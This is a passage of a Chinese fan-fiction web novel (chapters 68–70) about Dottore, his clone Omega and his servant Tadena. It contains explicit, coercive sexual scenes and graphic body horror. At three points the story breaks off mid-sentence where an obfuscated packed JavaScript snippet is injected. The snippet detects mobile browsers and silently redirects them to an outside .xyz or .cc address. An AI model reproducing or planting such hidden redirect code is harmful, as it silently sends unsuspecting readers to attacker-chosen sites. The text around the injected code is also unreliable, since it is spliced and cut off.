胸口的心脏在刻意的控制下以正常的速率跳动着。 少年将信将疑地看着我。 “好吧,我信你了。你不可以像那些人一样看待我。” “好,好。”我自然满口答应下来。 “这里是你的房间吗?”我故意问道。 少年点头:“是。” “那我可以看一眼你的收藏品吗?”我指了指墙面玻璃柜。 少年这次稍微犹豫了一下,但还是点头。 “我带你一起看。不准弄坏我的东西。” 少年板着一张脸严肃地跟我强调。 我感到有些好笑,脸上也带了些笑意。 “好。我就看一眼,不会摸的。” 少年牵着我的手将我引到玻璃柜前。 玻璃柜几乎要顶着房顶,我从最上面往下看,看到了不少熟悉的动物的切片。 猫,狗,松鼠,青蛙…… 各个部位都有。 实在是…… 我忍不住想起多托雷实验室那一墙的人体样本,也是这样,琳琅满目,分门别类摆放。 “那边是切片,这边有我做出来的一些成品,还在观察期中。” 少年指的是摆放在最中间位置的一个最大的格子。那不是切片,而是活着的动物,但是四肢都被替换成了机械的结构。 少年曲起手指敲了敲玻璃柜,里面半改造的动物便爬到柜子前,靠得近了,我才看到那动物的头,似乎也是机械的,只是做成了原本的形状和颜色,于是转过来的时候,只有那双机械的红色眼睛极为明显。 “!” 少年很得意地介绍:“这是我的实验体。我给他更换了四肢和大脑,这样即使智商很低他也能明白一些简单的命令。” 他……吗? 虽然在心里极力提醒自己要冷静,但后背还是不知不觉爬上一层冷汗。 “你……在害怕吗?”少年不知什么时候抬头看着我,原本只是稍微牵着的手变成了十指相扣。 我回过神,才发现掌心竟然濡湿了。 “回答我。你是在害怕我吗?” 少年一字一句地问我,他扒着我胸口的衣服,把手伸到心脏的位置,那里现在跳得很快,无法遏制。 “你,在害怕。” 少年这下笃定了。 他的下巴原本是靠在我胸口下面一点点的位置仰着头用一整张脸看我,但是渐渐的,那张脸似乎越离越近,但少年分明没有什么动作,就像是…… 就像是脖子伸长将脸举起来了一样! 我咬牙遏制着喉间的尖叫。 “没,没有害怕!” 我闭上眼,伸出唯一一只自由的手摸到少年的脸颊——离得极近,但正因为这样才让人毛骨悚然。 我不敢多想,闭着眼靠感觉吻上少年的嘴角。 少年似乎愣了一下,连周身的冷气都停止了。 高度开始降低,我不得不一边配合着弯腰一遍伸出舌头舔舐少年的嘴唇。等到腰都有点酸了之后,腰间覆上一只手。 少年依旧一只手和我十指相扣,但另一只手却绕到我的身后,压着我,唇舌撬近我的口腔内,吮吸扫荡着。 脑袋被吸得发晕…… 我无力地承受着少年的掠夺,感觉到自己被牵引着躺在了床上。 后背接触到床面,少年的亲吻变得更深,他似乎完全不着急结束,也不莽撞,有条不紊地进行着,压着我右手手腕的手摩挲着上面残余的痂痕,带来痒意。 好……好奇怪…… 少年的多托雷,应该这么懂吗…… 鼻尖,那缕香味再一次出现,比之前两次都要浓郁。 头也更疼了…… 似乎过了很久,等到再一次有意识,已经到了夜晚的时候了,我似乎身处在野外,面前是一堆篝火。 燃烧的火星飞溅着。 对面的少年抬头。 “你醒了。”不再像之前那么冷漠,反而带着点亲近柔和。 我使劲甩了甩头。 “头疼吗?”少年问我。 我点了点头。 少年站起来到我面前,俯下身,手指搭在我的太阳穴上,轻柔地按压起来。 完全……被少年的身形笼罩住了。 “现在怎么样?” 我身体有点僵硬,下意识回答:“还……还好。” 少年又稍微加重了点力道。 “现在呢?” “……好了。” 沉默蔓延。一时间只剩下篝火炸裂的噼啪声。 我渐渐安定下来,也敢趁着间隙去看少年,那双红色的眼睛专注地看着我,微卷的发丝随着少年按揉的动作颤动着。 身体里逐渐升起一点困意。 明明……不应该才对…… 为什么……现在不是晚上吗……时间应该已经很晚了吧…… 少年问我:“你困了吗?” “嗯。” 头被塞进一个略显单薄的怀里。 “那就睡吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054225|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识在挣扎。 我:“那你呢?你不睡吗?” 少年:“我不需要睡眠。我想多看一会儿星星。” 我从少年的怀中挣脱出来。 “哪里有星星?”我抬头看向天空,只看见黑漆漆的夜幕,连月亮都没有。 “明明什么都没有……” 少年轻笑:“那你要现在睡吗?” 困…… 好困…… 大脑连思考都没有力气了…… 我打了个哈欠:“等等……等我看到星星了再睡……” “你不是说没有星星吗?” “有!当然可以有!”我将手伸进口袋里,使劲地摸着,然后终于找到了! 我将几根仙女棒塞进少年的手里,硬拉着少年的手将仙女棒伸进篝火里点燃。 仙女棒燃烧起来。 我带着少年的手将仙女棒伸高放在夜幕上。 “看!星星。” 少年:“……” 少年:“挺好。” 仙女棒很快燃尽了,我从少年手心把残骸抽出来扔进火堆里,大脑已经困得浑然连自己是谁都快忘记了。 “放完了,我要睡觉了。你不准闹我。” 少年:“你睡了,那我怎么办?” 睡意稍微散了几分。我将少年抱进怀里坐在腿上,下巴靠着少年的肩颈到胸口上一点。 “那我们一起睡。” 少年:“可是我想要晚安吻。” 我又只能将啰啰嗦嗦的少年拔起来,转过身,半眯着眼睛纯靠感觉找到少年的嘴唇,碰了碰。 做完这些,我复又抱住少年。 “晚安。”我说,“还有,抱歉白天没能阻止那些人。” 少年:“……” 少年:“你能阻止什么?你都没办法被碰到。” 我快意识不到少年在说什么了。 我:“被人排挤的感觉……很讨厌。我知道的……明明看到了却不能帮你……太糟糕了。” 少年:“……” 意识,在下坠。 仿佛从有十八层楼那么高的塔顶上一跃而下,身体被牵引着加速坠落,连灵魂都要被飞出身体外。 啪叽—— 身体砸在地上,撞得头晕眼花。 耳边好像有一百个人在吵一样。 身体……好疼…… 好像有什么热热的东西沾在脸上。 大脑突然被一双手举着抬起来了,我因此能看到来者是谁。 但我只看到了一张没有五官的脸。 没有五官的脸贴近我,几乎和我的脸贴在一起。 “放……放开我……” 大脑被突然一下子贯穿进去,我看见红白相间的东西流到地上,还有东西在大脑里搅动。 “救命……” 我想要呼救,却发现自己的声音嘶哑得只有自己才能听到。 越来越多的无脸人聚集,他们环绕着我,伸手进我的大脑里,沾染红白的东西放进应该是嘴的地方舔舐。 但他们其实没有嘴,所谓的“舔舐”也不过是面部凹下去一部分,那块皮肉像是夹子一样包裹住手指蠕动。 呜……我为什么,会在这里? 我哭起来,眼泪混着红色的液体一起滴落,于是又有无脸人捧着我的脸舔我脸上的眼泪。 肉几乎陷进我的眼睛里面,眼球都在被舔舐着。 我感到一阵恐怖的吸力。 “不……不要,不要这么对我……”那吸力越来越大,最后将我的眼球吸走,无脸人含走我的眼球,融入皮肉里似乎是在咀嚼着。 另一只眼球也被如法炮制吸走。 眼睛……看不到了。 完全黑暗,什么都看不到,只能感受到身体上覆盖的无数双手,似乎还有手划破我的身体,把手伸进胸口和肚子里搅动。 喉咙里……也有什么被伸进来,往里面狠狠地塞着。 好痛苦…… …… 我从梦中惊醒,反射性地坐直身体。 “怎么了?”多托雷也醒了。睡眠对他不是必须的,所以即使刚醒来也显得完全没有睡意。 “我……”我喉咙紧涩,“做了个噩梦。” 光裸的后背被环进多托雷的手臂间,多托雷伸手转过我的头,在喉结上亲吻吸吮。 眼球一蹦一蹦地疼,我下意识地想要远离。 被多托雷按得更紧了。 “梦见了什么?”他问。 “梦见了……”我刚想说,脑海中的记忆却突然混淆,再去想,就一点也想不起来了。 我愣住了。 多托雷亲着我的喉结将我重新放倒在床上。他跪在我的身体两侧,俯身将我的腿拉开。 “睡不着的话,再来一次好了。” 身体被拖进情欲里。 69.第 69 章 那一天的梦就如同它突然来临又被突然遗忘一样,突然出现后又突然消失。自那之后过去了一天,我又恢复了不做梦的状态。 最近两天都有点情绪低迷,心里面像是莫名其妙压着一块石头一样,总担心着自己保不准那一天被压死一样心慌。夜间也很难睡着,白天更是精神颓靡,以至于早上多托雷离开了我才醒。 我在床上坐了半个小时才晃过神来,然后拖着还发疼的身体去找衣服穿上。 好在多托雷把准备好的衣服叠好放在了床头柜上,很轻松就拿到了。 简单洗漱走出卧室,一楼的餐厅桌子上热着一些餐食。 自然不是多托雷做的,这边驻地会有专人负责执行官的饮食并派送过来,甚至还会贴心地用持续加热的机器装着。 虽然我也不用吃饭,但直接扔掉也有点可惜,所以每次都是我起床解决这些,多托雷基本不吃。 等吃完饭,已经是十一点了,我拿上自己买的新书,穿上外套出门。 一打开门,天色昏暗,下着大雨。 见鬼……枫丹真是我见过天气最邪门儿的国家没有之一。明明看天气今天根本不可能下雨才对。 我认命地转回去拿了把伞,想了想,决定不带小说了,但去咖啡厅喝一杯,便随手把小说搁在门口的柜子上。 在至冬几乎用不到雨伞,这伞还是我某次外出下雨临时买的。 枫丹的雨来得突然,去得也突然,等到主城的时候,天已经大晴了,我便又只能放下伞,抖了抖上面的雨水,然后收拢。 “塔德纳大人。”熟悉的声音传来。 我转头,看见林尼,他的身边是琳妮特,那天见到过的雀斑少年,以及…… 我看向林尼身前的那人。 【仆人】阿蕾奇诺。 他们离得不远,于是我主动走过去,向林尼微笑一下,才低头朝阿蕾奇诺行礼。 “【仆人】大人。” 阿蕾奇诺摆手:“在外不用如此拘礼。若是想要与林尼叙旧的话,请便。我还有公务在身,恐怕不能相陪了。” 我俯身:“感谢您,【仆人】大人。” 琳妮特朝林尼使了个眼色,后者心领神会,随后琳妮特便与那位雀斑少年一起同阿蕾奇诺离开了。 我与林尼到路边对话。 林尼:“没想到能在这里遇到您,真是幸运。” 我微笑:“早就说过了,无需对我用敬语,太疏远了。刚刚你是不是又叫我‘大人’了?” 林尼尴尬地挠挠头:“这不是有【父亲】大人在场吗?总不能让【父亲】大人看到我对您如此失礼。” 我从少年脸上看出不自在,便明白自己的要求可能对少年造成了一定的困扰,不再继续纠结。 我:“倒是难得看见这么大的排场。是要执行什么任务吗?” 林尼笑道:“不是了。【父亲】大人参加的任务,怎么可能是我能够一起参加的。是公馆那边的庆典活动,想要邀请【父亲】大人一起参加。” “是吗?” 我想起之前去壁炉之家阿蕾奇诺出面时所有孩子都一秒变得安静的画面,决定不再多问。 “看来我出现的时机不太巧,既然有活动的话,我就不多打扰你了。你还是快点一起回去吧,现在出发快点走还能赶得上。” 林尼连忙摆手:“不会不会。活动没那么早开始,还有准备时间呢。相比这个,我有一个东西想要展示给您看。” 我稍微起了点兴趣。 “什么?” 林尼神秘一笑,从头上取下自己的帽子,帽口朝上。 “罗瑟兰,出来吧。” 嘭地一下,一只猫咪从帽子里钻出来,它扒着帽檐,朝林尼的方向叫了一声。 “喵~” 林尼向我介绍:“它叫罗瑟兰,是我和琳妮特一起收养的猫。” 我有些惊奇:“猫……藏在帽子里吗?” “罗瑟兰的情况有些特殊。”林尼抚摸着罗瑟兰,“它喜欢住在我的帽子里,即使做了一摸一样的帽子给它也不管用。没办法,我只好在帽子里做了个帽中布偶,不需要表演的时候,那就是罗瑟兰的坐垫,而表演的时候,罗瑟兰能够钻进去,让布偶显得更加可爱。就像这样。” 林尼说着,吹了声口哨,罗瑟兰警觉地张开耳朵看了林尼一眼,飞快地钻进帽子里。 林尼端着帽子。 “现在,见证奇迹。” 下一刻,魔术帽出现一只夸张可爱的紫黑色玩偶猫,晃动扑腾,十分可爱。 “巧妙的方法。”我夸赞道。 罗瑟兰又从魔术帽里钻出来。肉嘟嘟的爪子探出来,那双瞳孔狭长的猫眼看向我。 “喵~” 林尼轻笑:“看来罗瑟兰想要您摸一下它呢。” “啊?”我愣了一下,确认林尼没开玩笑后,才慢慢伸出手,指间落到罗瑟兰柔软的背上。 罗瑟兰没有动,这样我稍微有了点信心。 我将手掌放上去,模仿林尼的动作抚摸着。 很温暖,很柔顺。 罗瑟兰也“喵喵”着来闻我的手心,头在手心磨蹭着。 林尼:“看来罗瑟兰真的很喜欢您。” 被一只猫喜欢的感觉……原来是这样吗? 心情好像一下子就变好了,这份好心情持续了很久,就算是林尼带着罗瑟兰离开了,那份喜悦也依旧停留在我的心间。 仿若轻飘飘的云朵。 我在路边发了一会儿呆,直到耳垂上的耳饰响起“嘀嘀”的两声。 我收拢情绪,明白这是多托雷在叫我。稍微停留便起身往实验室赶去。 实验室。 我在门口稍微环视了一眼,发现今天实验室的士兵似乎人数少了很多。大概是被多托雷调走了。 走进去,依然是半开的实验门,我放轻脚步走进去,反手将门关上。 多托雷没有穿白色的外套,只是内里一件深蓝色的衬衫,袖口高高地挽到小臂上,露出紧实的手臂肌肉。 他正注视研究着手里的能源装置,听到我进来的声音,放下装置看过来。 多托雷:“你看起来心情很不错。是遇到认识的人了吗?” 带着点笑意。 多托雷似乎心情很好。 我走过去,低着头站在多托雷面前,将路上遇到林尼的事情托盘而出,隐瞒了一些小细节,比如罗瑟兰的部分。 听完,多托雷说了一句:“看来你真的很喜欢壁炉之家的那个孩子。” 不知道是不是我的错觉,总感觉多托雷语调里面的笑意在刚才变得平平。 “副官也是有资格招收一些自己的精锐部下的。如果喜欢的话,你可以去壁炉之家要人。” 明明是平常的语气,却让我感到一点寒意。 我有些僵硬地回复:“不用了,身边的人手已经够用了。而且,”我稍顿一下,“【仆人】大人也不会答应这种事的。” 毕竟实验室在壁炉之家的风评真的很差。 多托雷沉吟了一会儿,才笑起来:“你说得没错。四席确实不会答应这种事情。我记得你之前去壁炉之家的时候,还差点被赶出来了。” “是……” 被【女士】邀请的那一次。按理来说或许也不应该被叫做“被赶出去”,但体验确实不算太好。 我决定转移话题。 “主人叫我来是有什么事吗?” “事?对了,当然有。”多托雷牵起我的手,将掌心翻转朝上,然后把手里的能源装置放到我手中。 圆柱形的能源装置大概有成年人手腕大小的粗细,边缘被打磨得圆润光滑,比一手还要长上一点。 放进手里的那一刻我感到金属质感的冰冷以及沉甸甸的重量。 多托雷包裹着我的手掌背面,五指也被带着握紧那圆柱形的装置。 他将我半拥在怀里,带着我的身体来到中心的方形玻璃柜前。 这是我第一次以这样的方式和视角看到Omega,Omega切片就如同枫丹的玻璃展柜里陈览的货物一般,被安静地陈放在一人高的长方体柜里。 胸口洞穿着黑漆漆的穴口,身上未着一缕,以至于仿造地犹如真人的皮肤显得惨白。 隔着一层透明的玻璃,再次与那失去光亮的红色机械独眼对上的时候,心中不可避免地浮现起恐惧和逃避,但又因为后背被紧紧地抱在身后的怀里而稍微心安。 我忍不住开口:“主人,这是……” 多托雷伸手掀开玻璃的隔层,然后拉着我的手,拿着能源装置的那只手放到Omega的胸口处。 冰冷又僵硬的触感让我感到悚然。 “放进去。”背后的声音命令我。 即使这样命令,多托雷也只是将我的手牵引到了胸口的皮肤处便松开了力道。他只是环着我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058914|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀,整个人犹如要将我完全包裹住一样。 大脑变得空白,我发出一声无意义的声音。 “啊?” “放进去。” 背后的身体将我压得更低,我踉跄了一下,不得不伸手抵在容器的边缘才能让自己不掉下去。但尽管如此,我离容器内盛放的躯体也越来越近。 多托雷是想要我把能源装置放进Omega的身体里? 可是,为什么?这有什么特别的意义吗? 我想不明白多托雷此举的意义,虽然心里其实并不是很想亲手把这个装置放进去,但迫于这是多托雷的命令,我不得不听从。 圆柱形的能源装置被我捏着一头对准那胸口的黑洞一点点放进去。形状十分嵌合,几乎严丝合缝。 但在放到一半的时候,手腕被握住了。 多托雷制住我的动作,抓着我的脸侧过去,嘴咬上来亲吻我。 我被亲得头晕眼花,几乎要瘫倒在地上。事实也正是如此,我腿软地站不稳,只能在最后两膝跪在地上,挺直腰仰头被多托雷亲。 手失了力气,几乎要拿不住那有点分量的能源装置。多托雷便伸出一只手替我捏紧手指带着抽出来。 “呜……” 被放开的时候,喉间泄出一声呜咽,多托雷的拇指在我嘴角擦过。 “即便不情愿也会听从命令吗。”多托雷轻笑一声,“真乖,塔德纳。” 他抚摸着我腰间的软肉,仿若有电流流过一般,我无力地伏在多托雷胸口。 试探?还是其他的? 我几乎有些思考不过来,身体也在刚才的纠缠中不可避免地产生了一些反应。 我有些羞赧。这种事情对我而言并不算稀奇,对多托雷食髓知味的身体在日复一日的情爱中对多托雷越来越敏感,有的时候,我也会主动一点去乞求怜悯。 但是……这一次…… 后背靠着的檐壁无时不刻不在提醒我另一个存在。 尽管实质上来说,Omega也是多托雷,但我还是不可避免地产生了一点被其他人观看着的感觉。 这和与多个切片在一起的时候的感觉是完全不同的。 硬是要说的话,我对Omega,心中的恐惧是要更多一点的。 我试图乞求多托雷让我换个姿势,至少不要后背离Omega的身体这么近。但还没开口,就被多托雷拍了拍腰。 多托雷:“衣服在里面的房间。去换那一身来。” 我颤抖了一下,虽然心中疑惑甚多,但也只能乖顺地站起来,往多托雷说的那个方向走去。 一打开门,我便看见大开的衣柜门里悬挂的长裙。 是那天的…… 我愣了一下,心中的羞耻心略微有点排斥。我走过去,伸手触摸那件华丽的长裙,可以看到在胸部之类的地方都做了略微的调整。 这件衣服……真的要我穿吗? 我犹豫了一会儿,想起外面还在等待的多托雷,只能伸手拿下那件长裙。 腰被束缚得有点紧,虽然我平时的衣服也会有束腰来让衣服更贴身,但这条裙子似乎被调得有点紧,以至于系上的时候,有点喘不过气来。 粉白犹如花瓣铺开的裙摆尾端触到地上,但腿前的裙摆却被设计得很短,只到大腿根往下的地方。 我站起来,感到腿上吹着凉气般空荡。 出去的时候我几乎不敢看多托雷,只是低着头,双手紧紧地抓着膨起来的裙摆,生怕被绊了一跤摔倒。 我能感受到多托雷的视线一直落在我的身上。 我有些紧张:“主人……” 多托雷靠近我:“感觉怎么样?” “有点紧……还有点奇怪……” 却听见多托雷夸赞:“不奇怪。很漂亮。” 他吻着我的额头,随即温柔地扶着我的脸将我轻轻抬起来与他对视。 “这身衣服很配你。我的……爱人。” 犹如叹息的两个字从他的口舌间滚出。 爱……爱爱爱,爱人? 我像是被巨石砸中脑袋,一下子晕头转向了。 手里被再次塞进冰冷的某个东西。 “是你的话,就有资格来做出这个决定。” 他将我再次引到Omega身前:“我的一角,Omega Build,就由你来决定他的生死吧,塔德纳。” 身体一下子变得冰冷。 70.第 70 章 …… 初次见到Omega切片的时候,那大概是很久之前了,Omega切片被制造出来的时间其实很早,而在他被制造出来不久之后,我于回实验室找多托雷述职的路上碰到了这位新生的切片。 他与我狭路相逢,拦住了我。 即使从未见过这位切片,但我还是认出来了,他身上的气质,那是与多托雷,以及其他所有的切片都不相同的。 傲慢,冷漠,看着我的视线里带着不加掩饰的打量和轻蔑。 我时常会认为Omega的本性或是更符合多托雷,包括那对我的无视。 犹如对待地上的石子或是路边的花草,连专门为此付出一点精力的必要都没有,只需要踩过去,跨过去。 Omega只是看了我一眼,便冷漠地移开视线,当作我不存在一样继续着自己的路。 反而是我被突然出现的多托雷切片吓了一跳,狼狈地让开路给Omega,还差点摔了一跤。 Omega的实力很强。 他是最晚制造出来的切片,自然也是多托雷鼎盛时期的切片,最为实力强大,也最为自私冷漠。 他很快从多托雷那里得到了最高位的权限,即使是其他切片,若是实力比不上他,偶尔也不得不在他面前吃一下瘪。 我时常从Alpha切片那里听到他对Omega的愤怒和抱怨,说他太过傲慢,连同位体的意见也不屑于接受,就算是Theta切片,似乎也对Omega意见颇多。 他警告我不要太接近Omega。 也大概是那个时候,我隐约明白,Omega和其他切片都很不一样,同样的,对我的态度也很不一样。 他不喜欢我。 甚至说得上是“讨厌”。 当然,我自然也没有傲慢到要以为多托雷所有的切片都像是Theta或者多托雷本人一样对我的行为都多加宽纵,事实上,很多切片都只是不想太过与我纠缠而已。 毕竟,就算是在经常接触的切片里,也能找到Beta切片这种对我哪哪看不顺眼的。 总之,我听从了Theta的建议,就算是因为多托雷的命令偶尔不得不与Omega接触,我也会尽量找其他人当中介,或者在Omega身边的时候减少自己的存在感。 这样的方法很有效。Omega确实不怎么关注我。 他似乎也和其他会疏远我的切片一样,对我不感兴趣。 唯有一次,在实验室被按在实验台上同时服侍多托雷以及Theta的时候,大门被“轰”地打开,又“轰”地关上。 多托雷问Theta:“你没锁门?” Theta回:“我以为你锁了。” 总之是一场乌龙。Omega切片意外闯进来,意外看到里面正在进行的事情,也意外地,开始对我看不顺眼。 令名为“多托雷”的灵魂无法保持完全理智的病毒,是需要清除的废品。 Omega切片向多托雷如此诘问,却被敷衍而归。 ——我不会“处理”塔德纳,就像我也不会阻止你的想法一样。 ——这是昏庸的决定。“本体”,你会为自己残余的感性后悔的。 ——你我都明白,人迟早会为自己脑袋里的东西付出代价。既然如此,多一份代价,又未尝不可。 ——这难以说服我。 没有任何一方打算将这一番对话隐蔽于我的身前。 我站在一旁听着无比相近的二人争吵,腿上的肌肉僵硬。 等到Omega败兴离开,路过我的身边飞快地离开。 他冷哼了一声。 多托雷也走过来。他向我伸手,露出笑容,似乎刚才的争执丝毫没有影响他的心情。 我走过去,将自己乖顺地放在多托雷手下,那是一个完全被掌控的姿势。 “主人,Omega大人他……” “不用担心。” “与自己和解总是一件困难的事。同样,与自己割席也是。” 多托雷不会将我的管理权交给Omega切片,唯一的一次,便是Theta没来得及回至冬的那几天。 当时的我,大概怎么也想不到,自己会因为实验体的事情后来与Omega闹得那样难看,不得不用狼狈的手段算计了一次Omega。 同样的,那个时候的我大概也不会想到,自己在未来的某一天,会由多托雷将Omega留存的决定权交到我的手上。 我感到惶恐。 …… 背后的声音还在继续劝诱。 “你不喜欢Omega切片,甚至是在害怕恐惧Omega切片,对吗?现在,选择权完全在你的手里,如果你不希望Omega切片再继续存在于这个世界上的话,就将手中的能源装置销毁掉吧。用我给你的邪眼。” “……” 我的身体在颤抖。 “你在犹豫什么?塔德纳,千载难逢的机会就摆在你的面前,相信我,绝对不会有下一次。” 多托雷:“你是在害怕吗?害怕做出选择,还是害怕被报复?” 我喉咙干涩。 摇头:“我不知道……我不知道。” 我应该让Omega彻底被抛弃,彻底被销毁吗? 我想着。脑海里浮现起被Omega按在雪地,威胁要“报废”我的记忆。 可是,我最开始的打算明明只是…… 身体感到一丝疲惫,我闭上眼,泄气般地推开手里的能源装置。 “抱歉,主人,我不知道。” 背后的人沉默了一会儿,才收拢手掌将能源装置收回。 “看来,你已经做出了决定。” 手腕被抓住缚在身后,多托雷低头亲我,与刚才的温柔不同,这一次显得格外粗暴。他咬着我内里的软肉,几乎要咬出血来。 “呜……” 我有点喘不过气来,张开嘴努力地跟上那又急又深的吸吮,但还是有津液来不及吞咽从嘴角滑落。 一只手顺着裙摆摸进去。 …… 不知道多少次后,疲惫的身体拖着意识完全陷入黑暗。 …… 多托雷抽出自己,将昏迷过去的,满身痕迹的青年搂着屁股抱起来。 青年身上那身昂贵的,耗费了不少时间定制的长裙此刻已经是一片狼藉,沾染着不知道从哪里带来的液体,裙摆也已经变形。 “你竟敢在我面前做那种事。” 身后的容器内,Omega扶着檐壁坐起来,随着身体的动作,露出脑袋后面连接的管道。 Omega伸手将脑后的管道粗暴地拔掉。 他脸色很难看:“我不记得我们之间的合作包括让我看你和别人做这种事情的项目。” “稍安勿躁,Omega。” 多托雷拖过旁边的椅子,将怀中的人轻轻放在上面,看着青年无知无觉的睡颜,多托雷心情好到甚至没有在意Omega冒犯的语气。 他将自己的大衣外套取来,盖在青年身上,遮挡住青年脖颈以及腰间可怖的印痕,然后才转身看向Omega。 他几乎毫不掩饰自己此刻的愉悦,即使是面对自己的切片。 “你似乎很烦躁呢。旁观这种事情让你很难接受吗?呵,我倒是没想到那次突然的闯入会让你对这种事情产生厌恶。嗯……还是说,你只是在烦躁,无法一起参与……” Omega露出嫌恶的表情,他忍受不了地打断多托雷。 “你在说什么恶心的事情,‘本体’。” “你的身体也有反应,不是吗?”多托雷轻笑,“塔德纳没注意到,但我可是看得清清楚楚。你在抑制自己触摸塔德纳的冲动。” “比起触摸,我更想‘报废’他。”Omega收拢自己的神色。 Omega:“我不否认你说的这件事,但正因为如此,‘报废塔德纳’才显得更加必要。他的影响是失控的。你不是也是为了验证这一点才策划了这一切吗?” Omega冷笑一声。 “被诱哄来枫丹,刻意伪装成亲密无间的样子。不知道塔德纳要是知道自己被这么温柔地亲近其实只是一场临时的实验,就连缠身的噩梦也是被投映的记忆片段,他会怎么想呢?” 多托雷:“哦?你很怜悯塔德纳?” “无聊的推论。看来你的大脑已经被刚才的情爱腐蚀了。” Omega修长的身形扶着容器的壁站起来,他抬腿跨出容器朝着塔德纳所在的方向走去。随着他的行动,右手手臂转换成为尖刀,锋利的刀锋泛着寒光。 “你要干什么?”多托雷询问。 “如你所见,清除隐患。” 多托雷稍微侧身,将Omega的身形拦截在外。 他的语气依然平和,甚至带着笑意:“我想我并没有说过要对塔德纳做什么。” “我以为梦境里发生的一切已经足够明显了。你也觉得塔德纳对你的影响有点超出掌控范围了,不是吗?Alpha,Beta,以及被影响地最深的Theta。如果不是想要及时止损的话,你又为何要与我合作这次的实验?” 多托雷意味不明地道:“或许我的目的确实是其他呢?” Omega顿了一下。他放下手臂,转向多托雷,那只红色的机械独眼闪烁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062470|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “如果我是你,就会趁现在‘报废’塔德纳。降活那股修复能量后将他折断四肢封存在容器内,安装定时摧毁脑额叶的装置,这样,塔德纳就会彻底‘报废’。” 多托雷弯了弯嘴角:“所以你不是我。” “……荒谬的选择。我果然不该答应与你的合作,徒然浪费时间罢了。” 多托雷:“是吗?单看你在梦境的表现,我还以为你也要沦陷了。” Omega:“那只是为了实验继续进行下去而已。” “包括被塔德纳亲了一下嘴唇就慌忙把身体控制权扔给我的事吗?” Omega :“……” Omega选择闭嘴不再与多托雷争辩。 他常与其他切片意见相悖,也经常会受到来自其他切片的质疑,他早已习惯了不再去一定要争辩个对错,或者直接以权限让质疑的切片闭嘴。 只可惜,现在站在他面前,与他交谈的人是本体。 本体的决定不可忤逆。 这是切片之间的铁律。 他想起梦境里无时不刻不在强压着心中对他的恐惧的青年,想起青年拉他远离其他人的手掌,以及,分明怕得要死,却还是强迫自己落下的亲吻。 Omega下意识伸手摸了一下自己的唇角,复又觉得自己做了一件愚蠢的事情,不爽地啧了一声。 胸口,还残存着青年那时的眼泪,干了之后变成若隐若现的泪渍。 多托雷说他对塔德纳的身体有反应。 当然会有。 被多托雷故意偏转角度露出的青年的身体,以及分明不愿意,却还是在多托雷的命令下塞进能源装置的时候,身体不停地颤抖着,那双绿色的眼睛像小鹿一样闪躲着不敢看他。 Omega当然会有反应。 身体内名为“多托雷”的灵魂的本质无法改变,那自诞生之日起就在脑海中被一遍又一遍复盘的记忆里,塔德纳的存在也无法改变。 切片并非是脱离于多托雷的全新个体,他们只是多托雷的延伸,是多托雷用来观察这个世界的,不同的“眼睛”。 爱人…… Omega咀嚼着这个词。 胸口好似还残余着青年被身后的人撞得摇晃,侧脸和上本身完全贴合的感觉,汗津津的,温度滚烫。 那双眼睛失神落泪的时候,嘴里还在不停地叫着“主人”。 甜腻地要命。 Omega伸手摸了摸自己的胸膛,在胸口的位置摸到一个洞。 他朝多托雷伸手:“我的东西呢?” 多托雷笑了一声,将刚才扔到地上的东西捡起来。 他将满是不明液体的东西拿在手里,却没有要递出去的意思。 “你确定还要这个吗?主能源装置暂时不安装你身体里的能量也足够你再运转两天了。你可以等我回去再装一个新的。” “不用了。”Omega拒绝,“与斯卡拉姆奇的合作马上就要开始,须弥那边的准备工作也迫在眉睫。我没有时间在这里消耗。” “呵,那好吧。” 多托雷没再多说什么,那根曾经进入过某个地方的东西便顺利地落入到Omega手中。滑腻的感觉让Omega觉得有些怪异。 他将装置拿在手里,问多托雷。 “衣服在哪?” “休息室。你现在就要离开了吗?” Omega点头。 他朝着休息室的方向走去,走了一半,像是突然想起什么了一样,头也不回地稍微提高声音。 “和你共用一个身体实在别扭。不会有下次了。” “当然,我也同感。” 等到Omega穿好衣服从实验室离开后,多托雷靠近椅子上的青年,昏睡中的青年被高大的身影完全笼罩,似乎要被吞噬。 睡梦中的青年面容安宁,顺直的金发柔软地贴合着脸侧,有几缕没入颈间。 多托雷从怀中取出一根香,点燃后,空气中弥漫着一股甜腻的味道。 多托雷伸手抚摸青年的侧脸,然后,手指下滑,慢慢落到柔软的脖颈,紧贴着致命的血管。 他轻轻叹息,手指却在收紧。 “就连最自私的''我'',也会被你影响吗?” 